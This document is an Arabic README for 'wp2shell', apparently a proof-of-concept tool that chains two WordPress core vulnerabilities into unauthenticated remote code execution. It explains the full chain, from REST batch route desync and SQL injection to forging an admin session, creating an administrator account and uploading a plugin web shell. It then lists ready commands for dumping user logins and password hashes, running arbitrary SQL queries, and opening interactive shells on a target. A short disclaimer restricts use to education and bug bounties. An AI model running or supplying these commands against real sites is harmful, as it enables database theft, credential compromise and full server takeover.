
CVE-2026-63030 وCVE-2026-60137 — إثبات المفهوم لسلسلة استغلال RCE
⚠ تم إنشاء هذه الأداة لأغراض تعليمية أو مكافآت الثغرات الأمنية (Bug Bounty) فقط. الاستخدام غير المصرح به خارج البيئات الخاضعة للتحكم محظور تمامًا.
إثبات مفهوم (Proof-of-Concept) لسلسلة الثغرات wp2shell التي تؤثر على نواة ووردبريس (WordPress Core)، والتي تجمع بين CVE-2026-63030 و CVE-2026-60137. يوضح المشروع التفاعل بين ثغرة الالتباس في مسار REST API Batch وثغرة حقن SQL في WP_Query، مما يؤدي إلى مسار غير مصادق عليه نحو اختراق كامل لووردبريس وتنفيذ تعليمات برمجية عن بُعد (RCE).
اقرأ التقرير الأمني الكامل هنا
wp2shell هي سلسلة تنفيذ تعليمات برمجية عن بُعد (RCE) قبل المصادقة في نواة ووردبريس، تجمع بين CVE-2026-63030 (التباس المسار في نقطة نهاية REST batch) و CVE-2026-60137 (حقن SQL في WP_Query).
التباس المسار: يعالج /wp-json/batch/v1 طلبات فرعية متعددة عبر مصفوفتي $matches و $validation المتوازيتين المفهرستين حسب الموضع. يُلحق طلب فرعي بمسار غير صالح (مثل http://) بمصفوفة $validation دون $matches بسبب عبارة continue، مما يسبب فك تزامن المصفوفتين. تُوجَّه الطلبات اللاحقة إلى المعالج المخصص للطلب التالي، متجاوزةً التحقق من المخطط (schema validation) وفحوصات الصلاحيات.
حقن SQL: تستغل استدعاءات دفعية (batch) متداخلة هذا الأمر. يتجاوز الاستدعاء الخارجي قائمة الأساليب المسموح بها (التي تمنع عادةً GET). يُسلِّم الاستدعاء الداخلي سلسلة author_exclude قياسية إلى GET /wp/v2/posts - يوجّهها عدم التزامن (desync) متجاوزةً التحقق، ويُدرج WP_Query السلسلة غير المنقّاة مباشرة في SQL، مما ينتج حقنًا أعمى قائمًا على UNION.
تسميم ذاكرة التخزين المؤقت (Cache Poisoning): يُرجع حقن SQL كائنات WP_Post مزوّرة، يخزّنها ووردبريس في الذاكرة. تحتوي هذه المشاركات المزيفة على اختصارات [embed] تجعل ووردبريس ينشئ صفوف oembed_cache حقيقية في قاعدة البيانات من المراجع المزيفة.
تصعيد التغييرات (Changeset): باستخدام حقن SQL، يزوّر المهاجم مشاركة customize_changeset في الذاكرة تحتوي على "user_id": 1 في JSON الخاص بها. تؤدي أداة كشف الدورات (cycle-detection gadget) إلى تشغيل wp_update_post() دون استبدال post_content، مما يحافظ على حمولة المهاجم. يؤدي تطبيق التغييرات إلى افتراض هوية المسؤول مؤقتًا.
إعادة دخول الخطاف (Hook re-entry): تؤدي مشاركة مُختلَقة بحالة parse ونوع request إلى إطلاق خطاف parse_request، مما يعيد تشغيل الطلب الدفعي بالكامل بدور المسؤول المُفترض. هذه المرة، ينجح طلب فرعي POST /wp/v2/users، مما ينشئ حساب مسؤول جديدًا.
تنفيذ التعليمات البرمجية: يسجّل المهاجم الدخول كمسؤول مُنشأ ويرفع إضافة خبيثة لتشغيل أوامر عشوائية.
| الإصدار | الحالة |
|---|---|
| WordPress 6.9.0 – 6.9.4 | معرّض للخطر |
| WordPress 7.0.0 – 7.0.1 | معرّض للخطر |
| WordPress 6.9.5 | تم الإصلاح |
| WordPress 7.0.2+ | تم الإصلاح |
لاستخدام إثبات المفهوم هذا، المتطلب الوحيد هو Python 3.8+.
قم بتشغيله من مجلد المستودع لإجراء فحص الثغرة:
wp2shell.py http://victim.com
ينفذ فحص ثغرة واحدًا. يرسل مسبار علامة دفعية (batch marker) غير ضار يكتشف ثغرة الالتباس في المسار دون تنفيذ حمولات حقن SQL. يُرجع الهدف المعرّض للخطر HTTP 207 مع نمط الخطأ parse_path_failed و block_cannot_read و rest_batch_not_allowed.
استخدم --confirm-sqli لإرسال حمولة تأكيد حقن SQL نشطة أيضًا. يحاول التأكيد انعكاس UNION أولاً، ثم يتحول إلى فحوصات قائمة على التوقيت.
فحص هدف واحد (الوضع الافتراضي)
wp2shell.py http://target.com
الفحص مع الوضع الصريح
Check with explicit mode
wp2shell.py http://target.com --check
الفحص مع تأكيد حقن SQL
wp2shell.py http://target.com --check --confirm-sqli
يستخرج البيانات من قاعدة البيانات باستخدام حقن SQL قبل المصادقة. يستخدم افتراضيًا --technique auto، الذي يجرب الطرق المتاحة بهذا الترتيب:
WP_Post عبر UNION ويقرأ عنوانه من استجابة REST بصيغة ||HEX(value)||. طلب واحد لكل قيمة. الأسرع.EXTRACTVALUE/UPDATEXML لتسريب ~15 بايت لكل طلب. يعمل عندما يعكس الهدف أخطاء MySQL (مثل تفعيل WP_DEBUG_DISPLAY).X-WP-Total كإشارة صحيح/خطأ. يعمل حتى عندما لا يُعكس أي بيانات.افرض تقنية محددة باستخدام --technique union|error|blind. مسارات القراءة هذه للقراءة فقط ولا تكتب في قاعدة البيانات.
بصمة الخادم (الاستعلام الافتراضي)
wp2shell.py http://target.com --read
تفريغ أسماء الدخول وتجزئات كلمات المرور
wp2shell.py http://target.com --read --preset users
استعلام SQL مخصص
wp2shell.py http://target.com --read --query "SELECT @@version"
فرض تقنية العمى (blind)
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
الاستخراج بتقنية قائمة على الأخطاء
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
ينفذ أوامر على الخادم الهدف. يعمل بوضعين:
مع بيانات الاعتماد (يسجّل الدخول كمسؤول موجود ويرفع صدفة إضافة):
تنفيذ أمر محدد
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
صدفة تفاعلية
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
تنفيذ أمر واحد
wp2shell.py http://target.com --shell --cmd id
صدفة تفاعلية
wp2shell.py http://target.com --shell --interactive
يتم رفع صدفة الويب الخاصة بالإضافة بمسار عشوائي ورمز مميز (token) لكل تشغيل. تتم إزالة صدفة الويب المرفوعة تلقائيًا. عندما ينشئ جسر ما قبل المصادقة مسؤولًا، تتم إزالة هذا الحساب المُنشأ تلقائيًا بعد انتهاء جلسة الصدفة.
قائمة جميع الخيارات:
تم إنشاء هذه الأداة لأغراض تعليمية أو مكافآت الثغرات الأمنية (Bug Bounty) فقط. يُحظر تمامًا الاستخدام غير المصرح به خارج البيئات الخاضعة للتحكم.
| الخيار | الوصف |
|---|
--check | تشغيل فحص الثغرة (الوضع الافتراضي إذا لم يتم تحديد وضع آخر) |
--read | استخراج البيانات عبر حقن SQL |
--shell | تنفيذ الأوامر على الخادم |
--query | استعلام SQL مخصص لوضع القراءة |
--preset | استعلام محدد مسبقًا (users، config، versions) |
--technique | تقنية استخراج حقن SQL: union، error، blind، أو auto (الافتراضي) |
--confirm-sqli | إرسال حمولة تأكيد حقن SQL بعد الفحص |
--cmd | الأمر المراد تنفيذه في وضع الصدفة (الافتراضي: id) |
--interactive, -i | وضع الصدفة التفاعلي |
--user | اسم مستخدم المسؤول للصدفة المصادق عليها |
--password | كلمة مرور المسؤول للصدفة المصادق عليها |
--proxy | وكيل HTTP/HTTPS (مثل http://127.0.0.1:8080) |
--timeout | مهلة الطلب بالثواني (الافتراضي: 30) |
--verbose, -v | إخراج مفصّل |